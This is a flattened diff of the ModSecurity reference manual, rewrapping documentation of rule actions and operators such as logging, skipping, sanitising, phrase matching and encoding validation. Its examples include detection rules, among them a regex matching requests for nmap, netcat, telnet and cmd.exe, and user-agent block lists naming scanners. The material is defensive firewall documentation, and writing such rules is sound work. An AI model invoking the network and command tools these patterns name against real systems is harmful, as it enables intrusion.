<literal>initcol</literal> - Description: Initialises a named persistent collection, either by - loading data from storage or by creating a new collection in memory. + + Description: Initialises a named persistent + collection, either by loading data from storage or by creating a new + collection in memory. + Action Group: Non-disruptive - Example: The following example initiates IP address tracking. + + Example: The following example initiates IP address + tracking. + SecAction initcol:ip=%{REMOTE_ADDR},nolog + Note - Collections are loaded into memory when the initcol action is encountered. The - collection in storage will be persisted (and the appropriate counters increased) - only if it was changed during transaction processing. + + Collections are loaded into memory when the initcol action is + encountered. The collection in storage will be persisted (and the + appropriate counters increased) only if it was + changed during transaction processing. + See the "Persistant Storage" section for further details.
+
<literal>log</literal> - Description: Indicates that a successful match of the rule needs to - be logged. + + Description: Indicates that a successful + match of the rule needs to be logged. + Action Group: Non-disruptive + Example: + SecAction initcol:ip=%{REMOTE_ADDR},log + Note - This action will log matches to the Apache error log file and the ModSecurity audit - log. + + This action will log matches to the Apache error log file and the + ModSecurity audit log.
+
<literal>logdata</literal> - Description: Allows a data fragment to be logged as part of the - alert message. + + Description: Allows a data fragment to be + logged as part of the alert message. + Action Group: Non-disruptive + Example: + SecRule &ARGS:p "@eq 0" "log,logdata:'%{TX.0}'" + Note - The logdata information appears in the error and/or audit log files and is not sent back - to the client in response headers. Macro expansion is preformed so you may use variable - names such as %{TX.0}, etc. The information is properly escaped for use with logging binary - data. + + The logdata information appears in the error and/or audit log + files and is not sent back to the client in response headers. Macro + expansion is preformed so you may use variable names such as %{TX.0}, + etc. The information is properly escaped for use with logging binary + data.
+
<literal>msg</literal> - Description: Assigns a custom message to the rule or chain. + + Description: Assigns a custom message to the + rule or chain. + Action Group: Meta-data + Example: + SecRule &REQUEST_HEADERS:Host "@eq 0" \ "log,id:60008,severity:2,msg:'Request Missing a Host Header'" + Note - The msg information appears in the error and/or audit log files and is not sent back to - the client in response headers. + + The msg information appears in the error and/or audit log files + and is not sent back to the client in response headers.
+
<literal>multiMatch</literal> - Description: If enabled ModSecurity will perform multiple operator - invocations for every target, before and after every anti-evasion transformation is - performed. + + Description: If enabled ModSecurity will + perform multiple operator invocations for every target, before and after + every anti-evasion transformation is performed. + Action Group: Non-disruptive + Example: + SecDefaultAction log,deny,phase:1,t:removeNulls,t:lowercase SecRule ARGS "attack" multiMatch + Note - Normally, variables are evaluated once, only after all transformation functions have - completed. With multiMatch, variables are checked against the operator before and after - every transformation function that changes the input. + + Normally, variables are evaluated once, only after all + transformation functions have completed. With multiMatch, variables are + checked against the operator before and after every transformation + function that changes the input.
+
<literal>noauditlog</literal> - Description: Indicates that a successful match of the rule should - not be used as criteria whether the transaction should be logged to the audit log. + + Description: Indicates that a successful + match of the rule should not be used as criteria whether the transaction + should be logged to the audit log. + Action Group: Non-disruptive + Example: + SecRule REQUEST_HEADERS:User-Agent "Test" allow,noauditlog + Note - If the SecAuditEngine is set to On, all of the transactions will be logged. If it is set - to RelevantOnly, then you can control it with the noauditlog action. Even if the noauditlog - action is applied to a specific rule and a rule either before or after triggered an audit - event, then the transaction will be logged to the audit log. The correct way to disable - audit logging for the entire transaction is to use "ctl:auditEngine=Off" + + If the SecAuditEngine is set to On, all of the transactions will + be logged. If it is set to RelevantOnly, then you can control it with + the noauditlog action. Even if the noauditlog action is applied to a + specific rule and a rule either before or after triggered an audit + event, then the transaction will be logged to the audit log. The correct + way to disable audit logging for the entire transaction is to use + "ctl:auditEngine=Off"
+
<literal>nolog</literal> - Description: Prevents rule matches from appearing in both the error - and audit logs. + + Description: Prevents rule matches from + appearing in both the error and audit logs. + Action Group: Non-disruptive + Example: + SecRule REQUEST_HEADERS:User-Agent "Test" allow,nolog + Note + The nolog action also implies noauditlog.
+
<literal>pass</literal> - Description: Continues processing with the next rule in spite of a - successful match. + + Description: Continues processing with the + next rule in spite of a successful match. + Action Group: Disruptive + Example1: + SecRule REQUEST_HEADERS:User-Agent "Test" log,pass - When using pass with SecRule with multiple targets, - all targets will be processed and all - non-disruptive actions will trigger for every match found. In the - second example the TX:test target would be incremented by 1 for each matching - argument. + + When using pass with SecRule with multiple + targets, all targets will be processed and + all non-disruptive actions will trigger for + every match found. In the second example the + TX:test target would be incremented by 1 for each matching + argument. + Example2: + SecRule ARGS "test" log,pass,setvar:TX.test=+1 + Note - The transaction will not be interrupted but a log will be generated for each matching - target (unless logging has been suppressed). + + The transaction will not be interrupted but a log will be + generated for each matching target (unless logging has been + suppressed).
+
<literal>pause</literal> - Description: Pauses transaction processing for the specified number - of milliseconds. + + Description: Pauses transaction processing + for the specified number of milliseconds. + Action Group: Non-disruptive + Example: + SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403,pause:5000 + Note - This feature can be of limited benefit for slowing down Brute Force Scanners, however - use with care. If you are under a Denial of Service type of attack, the pause feature may - make matters worse as this feature will cause child processes to sit idle until the pause is - completed. + + This feature can be of limited benefit for slowing down Brute + Force Scanners, however use with care. If you are under a Denial of + Service type of attack, the pause feature may make matters worse as this + feature will cause child processes to sit idle until the pause is + completed.
+
<literal>phase</literal> - Description: Places the rule (or the rule chain) into one of five - available processing phases. + + Description: Places the rule (or the rule + chain) into one of five available processing phases. + Action Group: Meta-data + Example: + SecDefaultAction log,deny,phase:1,t:removeNulls,t:lowercase SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403 + Note - Keep in mind that is you specify the incorrect phase, the target variable that you - specify may be empty. This could lead to a false negative situation where your variable and - operator (RegEx) may be correct, but it misses malicious data because you specified the - wrong phase. + + Keep in mind that is you specify the incorrect phase, the target + variable that you specify may be empty. This could lead to a false + negative situation where your variable and operator (RegEx) may be + correct, but it misses malicious data because you specified the wrong + phase.
+
prepend - Description: Prepends text given as parameter to the response body. - For this action to work content injection must be enabled by setting SecContentInjection to On. Also make sure you check the - content type of the response before you make changes to it (e.g. you don't want to inject - stuff into images). + + Description: Prepends text given as parameter + to the response body. For this action to work content injection must be + enabled by setting SecContentInjection to + On. Also make sure you check the content type of the + response before you make changes to it (e.g. you don't want to inject + stuff into images). + Action Group: Non-disruptive + Processing Phases: 3 and 4. + Example: + SecRule RESPONSE_CONTENT_TYPE ^text/html "phase:3,nolog,pass,prepend:'Header<br>'"
+
<literal>proxy</literal> - Description: Intercepts transaction by forwarding request to - another web server using the proxy backend. + + Description: Intercepts transaction by + forwarding request to another web server using the proxy backend. + Action Group: Disruptive + Example: + SecRule REQUEST_HEADERS:User-Agent "Test" log,proxy:http://www.honeypothost.com/ + Note - For this action to work, mod_proxy must also be installed. This action is useful if you - would like to proxy matching requests onto a honeypot webserver. + + For this action to work, mod_proxy must also be installed. This + action is useful if you would like to proxy matching requests onto a + honeypot webserver.
+
<literal>redirect</literal> - Description: Intercepts transaction by issuing a redirect to the - given location. + + Description: Intercepts transaction by + issuing a redirect to the given location. + Action Group: Disruptive + Example: + SecRule REQUEST_HEADERS:User-Agent "Test" \ log,redirect:http://www.hostname.com/failed.html + Note - If the status action is present and its value is - acceptable (301, 302, 303, or 307) it will be used for the redirection. Otherwise status - code 302 will be used. + + If the status action is present + and its value is acceptable (301, 302, 303, or 307) it will be used for + the redirection. Otherwise status code 302 will be used.
+
<literal>rev</literal> + Description: Specifies rule revision. + Action Group: Meta-data + Example: + SecRule REQUEST_METHOD "^PUT$" "id:340002,rev:1,severity:2,msg:'Restricted HTTP function'" + Note - This action is used in combination with the id action - to allow the same rule ID to be used after changes take place but to still provide some - indication the rule changed. + + This action is used in combination with the id action to allow the same rule ID to be used + after changes take place but to still provide some indication the rule + changed.
+
<literal>sanitiseArg</literal> - Description: Sanitises (replaces each byte with an asterisk) a - named request argument prior to audit logging. + + Description: Sanitises (replaces each byte + with an asterisk) a named request argument prior to audit + logging. + Action Group: Non-disruptive + Example: + SecAction nolog,phase:2,sanitiseArg:password + Note - The sanitize actions do not sanitize any data within the actual raw requests but only on - the copy of data within memory that is set to log to the audit log. It will not sanitize the - data in the modsec_debug.log file (if the log level is set high enough to capture this - data). + + The sanitize actions do not sanitize any data within the actual + raw requests but only on the copy of data within memory that is set to + log to the audit log. It will not sanitize the data in the + modsec_debug.log file (if the log level is set high enough to capture + this data).
+
<literal>sanitiseMatched</literal> - Description: Sanitises the variable (request argument, request - header, or response header) that caused a rule match. + + Description: Sanitises the variable (request + argument, request header, or response header) that caused a rule + match. + Action Group: Non-disruptive - Example: This action can be used to sanitise arbitrary transaction elements when they - match a condition. For example, the example below will sanitise any argument that contains - the word password in the name. + + Example: This action can be used to sanitise arbitrary transaction + elements when they match a condition. For example, the example below + will sanitise any argument that contains the word + password in the name. + SecRule ARGS_NAMES password nolog,pass,sanitiseMatched + Note + Same note as sanitiseArg.
+
<literal>sanitiseRequestHeader</literal> - Description: Sanitises a named request header. + + Description: Sanitises a named request + header. + Action Group: Non-disruptive - Example: This will sanitise the data in the Authorization header. + + Example: This will sanitise the data in the Authorization + header. + SecAction log,phase:1,sanitiseRequestHeader:Authorization + Note + Same note as sanitiseArg.
+
<literal>sanitiseResponseHeader</literal> - Description: Sanitises a named response header. + + Description: Sanitises a named response + header. + Action Group: Non-disruptive - Example: This will sanitise the Set-Cookie data sent to the client. + + Example: This will sanitise the Set-Cookie data sent to the + client. + SecAction log,phase:3,sanitiseResponseHeader:Set-Cookie + Note + Same note as sanitiseArg.
+
<literal>severity</literal> - Description: Assigns severity to the rule it is placed with. + + Description: Assigns severity to the rule it + is placed with. + Action Group: Meta-data + Example: + SecRule REQUEST_METHOD "^PUT$" "id:340002,rev:1,severity:CRITICAL,msg:'Restricted HTTP function'" + Note - Severity values in ModSecurity follow those of syslog, as below: + + Severity values in ModSecurity follow those of syslog, as + below: + 0 - EMERGENCY + 1 - ALERT + 2 - CRITICAL + 3 - ERROR + 4 - WARNING + 5 - NOTICE + 6 - INFO + 7 - DEBUG - It is possible to specify severity levels using either the numerical values or the text - values. You should always specify severity levels using the text values. The use of the - numerical values is deprecated (as of v2.5.0) and may be removed in one of the susequent - major updates. + + It is possible to specify severity levels using either the + numerical values or the text values. You should always specify severity + levels using the text values. The use of the numerical values is + deprecated (as of v2.5.0) and may be removed in one of the susequent + major updates.
+
<literal>setuid</literal> - Description: Special-purpose action that initialises the USER collection. + + Description: Special-purpose action that + initialises the USER + collection. + Action Group: Non-disruptive + Example: + SecAction setuid:%{REMOTE_USER},nolog + Note - After initialisation takes place the variable USERID - will be available for use in the subsequent rules. + + After initialisation takes place the variable USERID will be available for use in the + subsequent rules.
+
<literal>setsid</literal> - Description: Special-purpose action that initialises the SESSION collection. + + Description: Special-purpose action that + initialises the SESSION + collection. + Action Group: Non-disruptive + Example: + # Initialise session variables using the session cookie value SecRule REQUEST_COOKIES:PHPSESSID !^$ chain,nolog,pass SecAction setsid:%{REQUEST_COOKIES.PHPSESSID} + Note - On first invocation of this action the collection will be empty (not taking the - predefined variables into account - see initcol for more - information). On subsequent invocations the contents of the collection (session, in this - case) will be retrieved from storage. After initialisation takes place the variable SESSIONID will be available for use in the subsequent - rules.This action understands each application maintains its own set of sessions. It will - utilise the current web application ID to create a session namespace. + + On first invocation of this action the collection will be empty + (not taking the predefined variables into account - see initcol for more information). On subsequent + invocations the contents of the collection (session, in this case) will + be retrieved from storage. After initialisation takes place the + variable SESSIONID will be available + for use in the subsequent rules.This action understands each application + maintains its own set of sessions. It will utilise the current web + application ID to create a session namespace.
+
<literal>setenv</literal> - Description: Creates, removes, or updates an environment - variable. + + Description: Creates, removes, or updates an + environment variable. + Action Group: Non-disruptive + Examples: - To create a new variable (if you omit the value 1 - will be used): + + To create a new variable (if you omit the value 1 will be used): + setenv:name=value + To remove a variable: + setenv:!name + Note - This action can be used to establish communication with other Apache modules. + + This action can be used to establish communication with other + Apache modules.
+
<literal>setvar</literal> - Description: Creates, removes, or updates a variable in the - specified collection. + + Description: Creates, removes, or updates a + variable in the specified collection. + Action Group: Non-disruptive + Examples: + To create a new variable: + setvar:tx.score=10 + To remove a variable prefix the name with exclamation mark: + setvar:!tx.score - To increase or decrease variable value use + and - - characters in front of a numerical value: + + To increase or decrease variable value use + and - + characters in front of a numerical value: + setvar:tx.score=+5
+
<literal>skip</literal> - Description: Skips one or more rules (or chains) on successful - match. + + Description: Skips one or more rules (or + chains) on successful match. + Action Group: Flow + Example: - - SecRule REQUEST_URI "^/$" \ + + SecRule REQUEST_URI "^/$" \ "phase:2,chain,t:none,skip:2" SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain" SecRule REQUEST_HEADERS:User-Agent "^Apache \(internal dummy connection\)$" "t:none" SecRule &REQUEST_HEADERS:Host "@eq 0" \ "deny,log,status:400,id:960008,severity:4,msg:'Request Missing a Host Header'" SecRule &REQUEST_HEADERS:Accept "@eq 0" \ - "log,deny,log,status:400,id:960015,msg:'Request Missing an Accept Header'" - + "log,deny,log,status:400,id:960015,msg:'Request Missing an Accept Header'" + Note - Skip only applies to the current processing phase and not necessarily the order in which - the rules appear in the configuration file. If you group rules by processing phases, then - skip should work as expected. This action can not be used to skip rules within one chain. - Accepts a single parameter denoting the number of rules (or chains) to skip. + + Skip only applies to the current processing phase and not + necessarily the order in which the rules appear in the configuration + file. If you group rules by processing phases, then skip should work as + expected. This action can not be used to skip rules within one chain. + Accepts a single parameter denoting the number of rules (or chains) to + skip.
+
<literal>skipAfter</literal> - Description: Skips rules (or chains) on successful match resuming - rule execution after the specified rule ID or marker (see SecMarker) is - found. + + Description: Skips rules (or chains) on + successful match resuming rule execution after the specified rule ID or + marker (see SecMarker) is found. + Action Group: Flow + Example: - - SecRule REQUEST_URI "^/$" "chain,t:none,skipAfter:960015" + + SecRule REQUEST_URI "^/$" "chain,t:none,skipAfter:960015" SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain" SecRule REQUEST_HEADERS:User-Agent "^Apache \(internal dummy connection\)$" "t:none" SecRule &REQUEST_HEADERS:Host "@eq 0" \ "deny,log,status:400,id:960008,severity:4,msg:'Request Missing a Host Header'" SecRule &REQUEST_HEADERS:Accept "@eq 0" \ - "log,deny,log,status:400,id:960015,msg:'Request Missing an Accept Header'" - + "log,deny,log,status:400,id:960015,msg:'Request Missing an Accept Header'" + Note - SkipAfter only applies to the current processing phase and not - necessarily the order in which the rules appear in the configuration file. If you group - rules by processing phases, then skip should work as expected. This action can not be used - to skip rules within one chain. Accepts a single parameter denoting the last rule ID to - skip. + + SkipAfter only applies to the current + processing phase and not necessarily the order in which the rules appear + in the configuration file. If you group rules by processing phases, then + skip should work as expected. This action can not be used to skip rules + within one chain. Accepts a single parameter denoting the last rule ID + to skip.
+
<literal>status</literal> - Description: Specifies the response status code to use with - actions deny and - redirect. + + Description: Specifies the response status + code to use with actions deny + and redirect. + Action Group: Data + Example: + SecDefaultAction log,deny,status:403,phase:1 + Note - Status actions defined in Apache scope locations (such as Directory, Location, etc...) - may be superseded by phase:1 action settings. The Apache ErrorDocument directive will be - triggered if present in the configuration. Therefore if you have previously defined a custom - error page for a given status then it will be executed and its output presented to the - user. + + Status actions defined in Apache scope locations (such as + Directory, Location, etc...) may be superseded by phase:1 action + settings. The Apache ErrorDocument directive will be triggered if + present in the configuration. Therefore if you have previously defined a + custom error page for a given status then it will be executed and its + output presented to the user.
+
<literal>t</literal> - Description: This action can be used which transformation function - should be used against the specified variables before they (or the results, rather) are run - against the operator specified in the rule. + + Description: This action can be used which + transformation function should be used against the specified variables + before they (or the results, rather) are run against the operator + specified in the rule. + Action Group: Non-disruptive + Example: + SecDefaultAction log,deny,phase:1,t:removeNulls,t:lowercase SecRule REQUEST_COOKIES:SESSIONID "47414e81cbbef3cf8366e84eeacba091" \ log,deny,status:403,t:md5,t:hexEncode + Note - Any transformation functions that you specify in a SecRule will be in addition to - previous ones specified in SecDefaultAction. Use of "t:none" will remove all transformation - functions for the specified rule. + + Any transformation functions that you specify in a SecRule will be + in addition to previous ones specified in SecDefaultAction. Use of + "t:none" will remove all transformation functions for the specified + rule.
+
<literal>tag</literal> - Description: Assigns custom text to a rule or chain. + + Description: Assigns custom text to a rule or + chain. + Action Group: Meta-data + Example: + SecRule REQUEST_FILENAME "\b(?:n(?:map|et|c)|w(?:guest|sh)|cmd(?:32)?|telnet|rcmd|ftp)\.exe\b" \ "t:none,t:lowercase,deny,msg:'System Command Access',id:'950002',\ tag:'WEB_ATTACK/FILE_INJECTION',tag:'OWASP/A2',severity:'2'" + Note - The tag information appears in the error and/or audit log files. Its intent is to be - used to automate classification of rules and the alerts generated by rules. Multiple tags - can be used per rule/chain. + + The tag information appears in the error and/or audit log files. + Its intent is to be used to automate classification of rules and the + alerts generated by rules. Multiple tags can be used per + rule/chain.
+
<literal>xmlns</literal> - Description: This action should be used together with an XPath - expression to register a namespace. + + Description: This action should be used + together with an XPath expression to register a namespace. + Action Group: Data + Example: + SecRule REQUEST_HEADERS:Content-Type "text/xml" \ "phase:1,pass,ctl:requestBodyProcessor=XML,ctl:requestBodyAccess=On, \ xmlns:xsd="http://www.w3.org/2001/XMLSchema" SecRule XML:/soap:Envelope/soap:Body/q1:getInput/id() "123" phase:2,deny
+
Operators - A number of operators can be used in rules, as documented below. The operator syntax uses - the @ symbol followed by the specific operator name. + + A number of operators can be used in rules, as documented below. The + operator syntax uses the @ symbol followed by the + specific operator name. +
<literal>beginsWith</literal> - Description: This operator is a string comparison and returns true - if the parameter value is found at the beginning of the input. Macro expansion is performed - so you may use variable names such as %{TX.1}, etc. + + Description: This operator is a string + comparison and returns true if the parameter value is found at the + beginning of the input. Macro expansion is performed so you may use + variable names such as %{TX.1}, etc. + Example: + SecRule REQUEST_LINE "!@beginsWith GET" t:none,deny,status:403 SecRule REQUEST_ADDR "^(.*)\.\d+$" deny,status:403,capture,chain SecRule ARGS:gw "!@beginsWith %{TX.1}"
+
<literal>contains</literal> - Description: This operator is a string comparison and returns true - if the parameter value is found anywhere in the input. Macro expansion is performed so you - may use variable names such as %{TX.1}, etc. + + Description: This operator is a string + comparison and returns true if the parameter value is found anywhere in + the input. Macro expansion is performed so you may use variable names + such as %{TX.1}, etc. + Example: + SecRule REQUEST_LINE "!@contains .php" t:none,deny,status:403 SecRule REQUEST_ADDR "^(.*)$" deny,status:403,capture,chain SecRule ARGS:ip "!@contains %{TX.1}"
+
<literal>endsWith</literal> - Description: This operator is a string comparison and returns true - if the parameter value is found at the end of the input. Macro expansion is performed so you - may use variable names such as %{TX.1}, etc. + + Description: This operator is a string + comparison and returns true if the parameter value is found at the end + of the input. Macro expansion is performed so you may use variable names + such as %{TX.1}, etc. + Example: + SecRule REQUEST_LINE "!@endsWith HTTP/1.1" t:none,deny,status:403 SecRule ARGS:route "!@endsWith %{REQUEST_ADDR}" t:none,deny,status:403
+
<literal>eq</literal> - Description: This operator is a numerical comparison and stands for - "equal to." + + Description: This operator is a numerical + comparison and stands for "equal to." + Example: + SecRule &REQUEST_HEADERS_NAMES "@eq 15"
+
<literal>ge</literal> - Description: This operator is a numerical comparison and stands for - "greater than or equal to." + + Description: This operator is a numerical + comparison and stands for "greater than or equal to." + Example: + SecRule &REQUEST_HEADERS_NAMES "@ge 15"
+
<literal>geoLookup</literal> - Description: This operator looks up various data fields from an IP - address or hostname. The results will be captured in the GEO collection. - You must provide a database via SecGeoLookupDb before - this operator can be used. - See the GEO variable for an example and more - information on various fields available. + + Description: This operator looks up various + data fields from an IP address or hostname. The results will be captured + in the GEO collection. + + You must provide a database via SecGeoLookupDb before this operator can be + used. + + See the GEO variable for an + example and more information on various fields available.
+
<literal>gt</literal> - Description: This operator is a numerical comparison and stands for - "greater than." + + Description: This operator is a numerical + comparison and stands for "greater than." + Example: + SecRule &REQUEST_HEADERS_NAMES "@gt 15"
+
<literal>inspectFile</literal> - Description: Executes the external script/binary given as parameter - to the operator against every file extracted from the request. As of v2.5.0, if the supplied - filename is not absolute it is treated as relative to the directory in which the - configuration file resides. Also as of v2.5.0, if the filename is determined to be a Lua - script (based on its extension) the script will be processed by the internal engine. As such - it will have full access to the ModSecurity context. + + Description: Executes the external + script/binary given as parameter to the operator against every file + extracted from the request. As of v2.5.0, if the supplied filename is + not absolute it is treated as relative to the directory in which the + configuration file resides. Also as of v2.5.0, if the filename is + determined to be a Lua script (based on its extension) the script will + be processed by the internal engine. As such it will have full access to + the ModSecurity context. + Example of using an external binary/script: + # Execute external script to validate uploaded files. SecRule FILES_TMPNAMES "@inspectFile /opt/apache/bin/inspect_script.pl" + Example of using Lua script: + SecRule FILES_TMPNANMES "@inspectFile inspect.lua" + Script inspect.lua: + function main(filename) -- Do something to the file to verify it. In this example, we -- read up to 10 characters from the beginning of the file. @@ -3631,369 +5497,542 @@ SecRule FILES_TMPNAMES "@inspectFile /opt/apache/bin/inspec return null; end
+
<literal>le</literal> - Description: This operator is a numerical comparison and stands for - "less than or equal to." + + Description: This operator is a numerical + comparison and stands for "less than or equal to." + Example: + SecRule &REQUEST_HEADERS_NAMES "@le 15"
+
<literal>lt</literal> - Description: This operator is a numerical comparison and stands for - "less than." + + Description: This operator is a numerical + comparison and stands for "less than." + Example: + SecRule &REQUEST_HEADERS_NAMES "@lt 15"
+
<literal>pm</literal> - Description: Phrase Match operator. This operator uses a set based - matching engine (Aho-Corasick) for faster matches of keyword lists. It will match any one of - its arguments anywhere in the target value. + + Description: Phrase Match operator. This + operator uses a set based matching engine (Aho-Corasick) for faster + matches of keyword lists. It will match any one of its arguments + anywhere in the target value. + Example: + SecRule REQUEST_HEADERS:User-Agent "@pm WebZIP WebCopier Webster WebStripper SiteSnagger ProWebWalker CheeseBot" "deny,status:403 - The above would deny access with 403 if any of the words matched within the User-Agent - HTTP header value. + + The above would deny access with 403 if any of the words matched + within the User-Agent HTTP header value.
+
<literal>pmFromFile</literal> - Description: Phrase Match operator. This operator uses a set based - matching engine (Aho-Corasick) for faster matches of keyword lists. This operator is the - same as @pm except that it takes a list of files as arguments. It will - match any one of the phrases listed in the file(s) anywhere in the target value. + + Description: Phrase Match operator. This + operator uses a set based matching engine (Aho-Corasick) for faster + matches of keyword lists. This operator is the same as + @pm except that it takes a list of files as + arguments. It will match any one of the phrases listed in the file(s) + anywhere in the target value. + Notes: + - The contents of the files should be one phrase per line. End of line markers will be - stripped from the phrases, however, whitespace will not be trimmed from phrases in the - file. Empty lines and comment lines (beginning with a '#') are ignored. + The contents of the files should be one phrase per line. End + of line markers will be stripped from the phrases, however, + whitespace will not be trimmed from phrases in the file. Empty lines + and comment lines (beginning with a '#') are ignored. + - To allow easier inclusion of phrase files with rulesets, relative paths may be used - to the phrase files. In this case, the path of the file containing the rule is prepended - to the phrase file path. + To allow easier inclusion of phrase files with rulesets, + relative paths may be used to the phrase files. In this case, the + path of the file containing the rule is prepended to the phrase file + path. + Example: + SecRule REQUEST_HEADERS:User-Agent "@pm /path/to/blacklist1 blacklist2" "deny,status:403 - The above would deny access with 403 if any of the patterns in the two files matched - within the User-Agent HTTP header value. The blacklist2 file would need - to be placed in the same path as the file containing the rule. + + The above would deny access with 403 if any of the patterns in the + two files matched within the User-Agent HTTP header value. The + blacklist2 file would need to be placed in the same + path as the file containing the rule.
+
<literal>rbl</literal> - Description: Look up the parameter in the RBL given as parameter. - Parameter can be an IPv4 address, or a hostname. + + Description: Look up the parameter in the RBL + given as parameter. Parameter can be an IPv4 address, or a + hostname. + Example: + SecRule REMOTE_ADDR "@rbl sc.surbl.org"
+
<literal>rx</literal> - Description: Regular expression operator. This is the default - operator, so if the "@" operator is not defined, it is assumed to be rx. + + Description: Regular expression operator. + This is the default operator, so if the "@" operator is not defined, it + is assumed to be rx. + Example: + SecRule REQUEST_HEADERS:User-Agent "@rx nikto" + Note - Regular expressions are handled by the PCRE library (http://www.pcre.org). ModSecurity compiles its regular expressions with the - following settings: + + Regular expressions are handled by the PCRE library (http://www.pcre.org). ModSecurity + compiles its regular expressions with the following settings: + - The entire input is treated as a single line, even when there are newline characters - present. + The entire input is treated as a single line, even when there + are newline characters present. + - All matches are case-sensitive. If you do not care about case sensitivity you either - need to implement the lowercase transformation - function, or use the per-pattern(?i)modifier, as - allowed by PCRE. + All matches are case-sensitive. If you do not care about case + sensitivity you either need to implement the lowercase transformation function, or use + the per-pattern(?i)modifier, as + allowed by PCRE. + - The PCRE_DOTALL and PCRE_DOLLAR_ENDONLY flags are set during compilation, meaning a single dot - will match any character, including the newlines and a $ end anchor will not match a trailing newline character. + The PCRE_DOTALL and + PCRE_DOLLAR_ENDONLY flags are set + during compilation, meaning a single dot will match any character, + including the newlines and a $ + end anchor will not match a trailing newline character.
+
<literal>streq</literal> - Description: This operator is a string comparison and returns true - if the parameter value matches the input exactly. Macro expansion is performed so you may - use variable names such as %{TX.1}, etc. + + Description: This operator is a string + comparison and returns true if the parameter value matches the input + exactly. Macro expansion is performed so you may use variable names such + as %{TX.1}, etc. + Example: + SecRule ARGS:foo "!@streq bar" t:none,deny,status:403 SecRule REQUEST_ADDR "^(.*)$" deny,status:403,capture,chain SecRule REQUEST_HEADERS:Ip-Address "!@streq %{TX.1}"
+
<literal>validateByteRange</literal> - Description: Validates the byte range used in the variable falls - into the specified range. + + Description: Validates the byte range used in + the variable falls into the specified range. + Example: + SecRule ARG:text "@validateByteRange 10, 13, 32-126" + Note - You can force requests to consist only of bytes from a certain byte range. This can be - useful to avoid stack overflow attacks (since they usually contain "random" binary content). - Default range values are 0 and 255, i.e. all byte values are allowed. This directive does - not check byte range in a POST payload when multipart/form-data encoding - (file upload) is used. Doing so would prevent binary files from being uploaded. However, - after the parameters are extracted from such request they are checked for a valid - range. - validateByteRange is similar to the ModSecurity 1.X SecFilterForceByteRange Directive - however since it works in a rule context, it has the following differences: + + You can force requests to consist only of bytes from a certain + byte range. This can be useful to avoid stack overflow attacks (since + they usually contain "random" binary content). Default range values are + 0 and 255, i.e. all byte values are allowed. This directive does not + check byte range in a POST payload when + multipart/form-data encoding (file upload) is used. + Doing so would prevent binary files from being uploaded. However, after + the parameters are extracted from such request they are checked for a + valid range. + + validateByteRange is similar to the ModSecurity 1.X + SecFilterForceByteRange Directive however since it works in a rule + context, it has the following differences: + - You can specify a different range for different variables. + You can specify a different range for different + variables. + It has an "event" context (id, msg....) + - It is executed in the flow of rules rather than being a built in pre-check. + It is executed in the flow of rules rather than being a built + in pre-check.
+
<literal>validateDTD</literal> - Description: Validates the DOM tree generated by the XML request - body processor against the supplied DTD. + + Description: Validates the DOM tree generated + by the XML request body processor against the supplied DTD. + Example: + SecDefaultAction log,deny,status:403,phase:2 SecRule REQUEST_HEADERS:Content-Type ^text/xml$ \ phase:1,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML SecRule REQBODY_PROCESSOR "!^XML$" nolog,pass,skipAfter:12345 SecRule XML "@validateDTD /path/to/apache2/conf/xml.dtd" "deny,id:12345" + - This operator requires request body to be processed as XML. + This operator requires request body to be processed as + XML.
+
<literal>validateSchema</literal> - Description: Validates the DOM tree generated by the XML request - body processor against the supplied XML Schema. + + Description: Validates the DOM tree generated + by the XML request body processor against the supplied XML + Schema. + Example: + SecDefaultAction log,deny,status:403,phase:2 SecRule REQUEST_HEADERS:Content-Type ^text/xml$ \ phase:1,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML SecRule REQBODY_PROCESSOR "!^XML$" nolog,pass,skipAfter:12345 SecRule XML "@validateSchema /path/to/apache2/conf/xml.xsd" "deny,id:12345" + - This operator requires request body to be processed as XML. + This operator requires request body to be processed as + XML.
+
<literal>validateUrlEncoding</literal> - Description: Verifies the encodings used in the variable (if any) - are valid. + + Description: Verifies the encodings used in + the variable (if any) are valid. + Example: + SecRule ARGS "@validateUrlEncoding" + Note - URL encoding is an HTTP standard for encoding byte values within a URL. The byte is - escaped with a % followed by two hexadecimal values (0-F). This directive does not check - encoding in a POST payload when the multipart/form-data encoding (file - upload) is used. It is not necessary to do so because URL encoding is not used for this - encoding. + + URL encoding is an HTTP standard for encoding byte values within a + URL. The byte is escaped with a % followed by two hexadecimal values + (0-F). This directive does not check encoding in a POST payload when the + multipart/form-data encoding (file upload) is used. + It is not necessary to do so because URL encoding is not used for this + encoding.
+
<literal>validateUtf8Encoding</literal> - Description: Verifies the variable is a valid UTF-8 encoded - string. + + Description: Verifies the variable is a valid + UTF-8 encoded string. + Example: + SecRule ARGS "@validateUtf8Encoding" + Note - UTF-8 encoding is valid on most web servers. Integer values between 0-65535 are encoded - in a UTF-8 byte sequence that is escaped by percents. The short form is two bytes in - length. + + UTF-8 encoding is valid on most web servers. Integer values + between 0-65535 are encoded in a UTF-8 byte sequence that is escaped by + percents. The short form is two bytes in length. + check for three types of errors: + - Not enough bytes. UTF-8 supports two, three, four, five, and six byte encodings. - ModSecurity will locate cases when a byte or more is missing. + Not enough bytes. UTF-8 supports two, three, four, five, and + six byte encodings. ModSecurity will locate cases when a byte or + more is missing. + - Invalid encoding. The two most significant bits in most characters are supposed to - be fixed to 0x80. Attackers can use this to subvert Unicode decoders. + Invalid encoding. The two most significant bits in most + characters are supposed to be fixed to 0x80. Attackers can use this + to subvert Unicode decoders. + - Overlong characters. ASCII characters are mapped directly into the Unicode space and - are thus represented with a single byte. However, most ASCII characters can also be - encoded with two, three, four, five, and six characters thus tricking the decoder into - thinking that the character is something else (and, presumably, avoiding the security - check). + Overlong characters. ASCII characters are mapped directly into + the Unicode space and are thus represented with a single byte. + However, most ASCII characters can also be encoded with two, three, + four, five, and six characters thus tricking the decoder into + thinking that the character is something else (and, presumably, + avoiding the security check).
+
